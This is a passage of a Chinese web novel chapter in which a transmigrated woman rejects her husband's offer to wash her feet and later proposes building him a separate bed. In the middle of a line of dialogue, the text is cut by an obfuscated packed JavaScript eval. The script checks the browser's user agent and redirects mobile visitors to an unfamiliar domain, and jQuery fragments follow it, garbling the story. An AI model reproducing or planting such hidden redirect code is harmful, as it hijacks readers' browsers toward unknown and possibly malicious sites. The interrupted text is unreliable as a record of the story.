夜色如墨，寒气蚀骨。
陈谷雨瘫在木墩上，只觉得魂魄都快被一身酸痛苦楚挤出这具破败躯壳。每一寸骨头都在叫嚣，每一块皮肉都在颤抖。她恨不能立时化作一滩泥，就此融进冰冷的地里。
土炕深处，谢念安细弱的鼾声一起一伏，已是睡沉了。
窸窣声起。
谢晚舟默然起身。他先是端来一小盆温热的水，旁边搭着一块虽旧却洁净的布巾，低声道：“妻主，先净面吧。”水里似乎还漾着一点皂角的清气。
陈谷雨几乎是凭本能，用那点温水潦草地擦了脸上干涸的汗泥和手臂上纵横交错的血痕。
温水触及伤口，带来一丝微弱的刺痛后的舒缓。
刚放下布巾，他又无声地递过来一套叠得整齐的粗布干净衣衫，虽是旧物，却浆洗得清爽，与她身上这件汗湿脏污的截然不同。
最后，他迟疑了一下，从袖中取出几片揉捻过的翠绿叶子，叶片湿润，带着刚采摘不久的清新草气，茎秆处还沾着一点泥痕。他指尖微颤，将其轻轻放在瘸腿桌角，声音更低：“…捣碎敷上，或可…止血。”
做完这一切，他像是完成了某种必要的仪式，，这才走去灶边，提起一直温在余烬上的陶罐，将热水注入一个旧木盆中。
白汽氤氲，带来微弱的暖意。
他试了水温，端着盆，行至陈谷雨脚边，轻轻放下。
“妻主，”他垂着眼睫，声音低得几乎散在风里，“请…濯足。”
姿态恭顺，近乎卑微。
这是《男诫》的规矩，亦是他此刻所能抓住的、证明自己并非全然无用的浮木。
可这话落入陈谷雨耳中，却不亚于一道惊雷直劈天灵！
洗脚？！
让一个男子触碰她的足？！
前世十七年“男女大防”、“非礼勿视”的闺训瞬间勒紧了她的咽喉！
属于前世蒋容微的羞耻心，让她浑身血液轰然倒涌，头皮炸麻！
她像是被滚水烫到，双脚猛地缩回，藏入木墩之下。
动作牵动浑身裂痛，疼得她眼前一黑，惨白着脸倒抽一口冷气。
“不！不必！”
声音尖利，带着无法掩饰的惊骇，双手死死攥紧裤脚，仿佛那盆水是噬人的毒液。
“我自、自己来！你…你走！”
这过激的抗拒，如同最锋利的冰锥，瞬间刺穿了谢晚舟强撑的平静。
他端着木盆的手剧颤，热水晃荡泼出，打湿了他破旧的裤脚和冰冷的地面。他猛地抬头，眼中是猝不及防的受伤，是难堪，是最后一点微末期望被彻底碾碎成灰的绝望！
果然…她连这点触碰都嫌肮脏。
连这点侍奉都容不下。
白日的“拾草”，不过是敷衍，是施舍！她终究…是容不得他了！
巨大的恐慌与羞耻如冰水灌顶，将他彻底淹没。指节用力到泛白，旧伤隐隐作痛。他死死咬住下唇，尝到一丝铁锈味，硬生生咽下喉间翻涌的呜咽。
他未发一言，只是用那双破碎的眸子，深深看了陈谷雨一眼——那里面是惊痛，是绝望，最终沉淀为一片死寂的认命。
旋即，他猛地垂下头，端起水盆，脚步踉跄地转身，将盆“咚”一声重重撂回灶台，溅起一片水花。
陈谷雨被他那一眼钉在原地，心脏像是被冰手攥紧，钝痛漫开。
她知自己反应过激，想开口，却喉头堵塞。
如何解释？说她来自另一个世界？说她的礼教与他的截然相反？
徒然。
最终，她只化作一声疲惫至极的叹息。极限的疲惫如黑潮涌上，吞噬了神志。强烈的眩晕中，她再无力支撑，抱着膝盖，将头深深埋入臂弯，蜷在冰冷的木墩上，瞬间坠入昏沉。
……
陈谷雨是被活活冻醒的。
下半夜的寒气如同冰蛇，钻地缝，透门板，噬咬着她单薄的衣衫，直刺入骨。
她在木墩上蜷缩成一团，冷得牙齿格格作响，浑身酸痛得无处凭依。
意识在冻僵与痛醒间浮沉。
她勉强睁开眼。
屋内漆黑，唯有灶膛底一点余烬，苟延残喘地散发着微弱暗红，勉强勾勒出物事轮廓。
土炕上，孩子因为灶火灭了，也缩成一小团。
谢晚舟呢？
目光在昏暗中艰难巡睃，最终定格在灶台后柴禾堆的角落——
几块长短不一的旧木板，粗糙地拼搭在冰冷泥地上，上头铺着那层她昨夜盖过的、薄得可怜的破褥子。
而谢晚舟，就蜷缩在那所谓“床”上！
他背对外侧，身子紧紧蜷缩，只盖着那件脱下来的旧棉袍。
单薄中衣根本挡不住寒气，她甚至能看清他因冷而不自觉轻颤的肩背轮廓。
他就睡在那里？
冰硬的地上？
在她那般惊惶拒绝之后？
陈谷雨的心像是被狠狠揪了一把，酸涩愧疚汹涌而来。
她拒的是陌生男女之防、非是他此人。
若论尊卑，他谢家郎君的教养，比她这“懒尸”高出何止云泥？可她过激的反应，无疑被他当成了最深重的厌弃，逼得他划地自禁，宁可自苦于地，也不敢再靠近土炕半步，只为保住那点能庇护幼弟的微末名分。
寒意更重，混着心口酸楚，让她又是一个寒颤。
望着灶后那蜷缩的身影，再瞧炕上幼童，她第一次如此清晰地感到，这“妻主”名分下，压着何等冰冷沉重的担子。
她疲惫闭眼，将自己缩得更紧。
指尖恍惚又触到白日锄柄的粗粝，泥土的湿冷，以及…那点深埋地底、需用血汗去叩问的微光。
地狱首日，总算熬过。
而灶后那张冰凉的木板床，像一个无声的烙印，深深楔入了这个异世寒夜的记忆。
天光未大亮，一线灰白渗入。
不能再这样。
她需得做点什么。
为这摇摇欲坠的“家”，为孩子眼中的依赖，也为…消减些他眼中那令人心惊的破碎。
她深吸一口冷气，刺得肺腑生疼。
强忍剧痛，扶住瘸腿桌，一寸寸将自己从木墩上撑起，关节发出不堪重负的轻响。
她蹒跚至堆放杂物的角落。
那里，除了柴禾，还有几块相对平整的长木板——显然是谢晚舟昨夜就已整理出来，靠墙放好，预示着他决绝的“划界”。
陈谷雨看着，心下涩然。
她蹲身，手指拂过冰冷粗糙的木面，上面干净得几乎没有灰尘。
她努力让声音平稳，带着一丝沙哑的商议口吻，对着那似乎仍在沉睡的背影开口：
“谢晚舟。”
角落里的身影几不可察地一绷。那截苍白的脚踝，细微地向内蜷缩了一下。
呼吸声却放得极轻，极缓……
“这屋子…还算宽敞。”
她目光扫过土炕侧面，那里离漏风的门稍远，地面也平整些。
“用这些木板，”她指了指墙边那些他备好的木料，“在此处…再搭一张床吧。”
她顿了顿，搜寻着词句。
前世那套“于礼不合”在此地是伤人的刀，她必须用最直白的话，哪怕“嫌弃”二字本身也带着刺。
“我…不惯与人同榻，”她声音干涩，“并非…嫌弃你。”
将“嫌弃”二字咬得重了些，试图凿进对方心里，抵消昨夜之伤。
“如此…你也不必睡地。”
她看着那冰冷的“床”，补充道，声音缓和了些：“土炕暖和，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286371|182614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你与安安睡那边。夜里他若踢被惊醒，你照应起来…也方便。”
话音落，破屋内陷入一片死寂。
唯闻屋外寒风呜咽，拍打着窗棂。
陈谷雨的心悬着，不知这提议，于他而言是纾解，还是更深的疏远。
破屋内的死寂持续着，只有寒风刮过窗纸的呜咽声。
那蜷缩的背影沉默得如同磐石，没有任何回应，也不知是睡着了，还是不愿回应。
陈谷雨悬着的心慢慢沉下去，尴尬和无力感混合着寒冷包裹了她。
她搓了搓冻得发麻的手，呵出一口白气，目光落在冰冷的灶膛上。
或许…该生点火。
屋里太冷了，孩子睡着也会冷。
而且，天快亮了，总该吃点东西才有力气去应对那该死的荒田。
她挪到灶台边，笨拙地拿起火镰火石——这是原主记忆里的东西，她前世连见都没见过。她学着记忆中模糊的样子，将一点干燥的引火绒垫在柴禾下，然后用力敲击火石。
“咔哒！”
只有几点微弱的火星溅出，瞬间熄灭在冰冷的空气里。
她又试了一次，动作更加急躁。
“咔哒…咔哒…！”
上次明明点着过一次——
可火星依旧寥寥，别说点燃引火绒，连个亮光都没能持续一瞬。反而因为用力过猛，火石差点脱手砸到脚。身体的酸痛和此刻的挫败感让她一阵烦躁，忍不住低低咒骂了一句“这见鬼的火石”。
就在她准备第三次尝试，几乎要绝望的时候——
灶台后那个一直蜷缩着、仿佛已与黑暗融为一体的身影，几不可察地动了一下。
随即，谢晚舟默默地坐起身。
他没有看她，只是沉默地拢了拢身上的旧棉袍，然后站起身，走到灶台边。
他伸出手，从她手中接过了火镰和火石。
他的指尖冰凉，刻意地避开了与她的任何触碰。
陈谷雨下意识地松手，向后微退半步，看着他。
只见他蹲下身，熟练地重新整理了一下引火绒和细柴，动作轻巧而精准。
然后，“嚓”地一声轻响！
一次干脆利落的敲击。
明亮的火星迸射而出，精准地落入绒中，一点橙红色的火苗立刻贪婪地舔舐上去，随即引燃了细柴，发出噼啪的轻响。
温暖的光亮瞬间驱散了灶台一角的黑暗，也映亮了他苍白沉静的侧脸和低垂的眼睫。
火生起来了。
他没有停留，起身又默默拿起陶罐，添水，量米，从角落的瓦罐里捏了一小撮盐，又从窗台晾着的几片干菜上揪下一点点碎末撒进去——动作麻利、沉默，却带着一种近乎本能的驯顺，仿佛这一切才是他该存在的领域。
陈谷雨怔怔地看着那跳跃起来的火焰，一时忘了说话。
灶火的暖意开始缓慢地扩散，驱散着紧贴皮肤的寒意。
她犹豫了一下，最终还是抵不过那温暖的诱惑，小心翼翼地挨着灶台边的木墩坐下。
将冻得僵硬的双手伸向那团跳跃的温暖。
橘红色的火光烤着她的手掌，带来一丝刺麻后的熨帖。
谢晚舟始终背对着她，专注地看着粥罐，用一根旧木勺缓缓搅动。
米香兔骨汤混合着柴火气，渐渐弥漫在冰冷的空气里。
两人之间再无言语。
一个沉默地烤火，一个沉默地煮粥。
只有灶膛里柴禾轻微的噼啪声，和陶罐里粥水渐渐滚沸的咕嘟声，填补着这破晓前最冰冷的寂静。
那根提议搭床的弦，似乎暂时被这突如其来的暖意和粥香冲淡了。
却依旧无声地悬在半空，等待着某个必将到来的回应。
------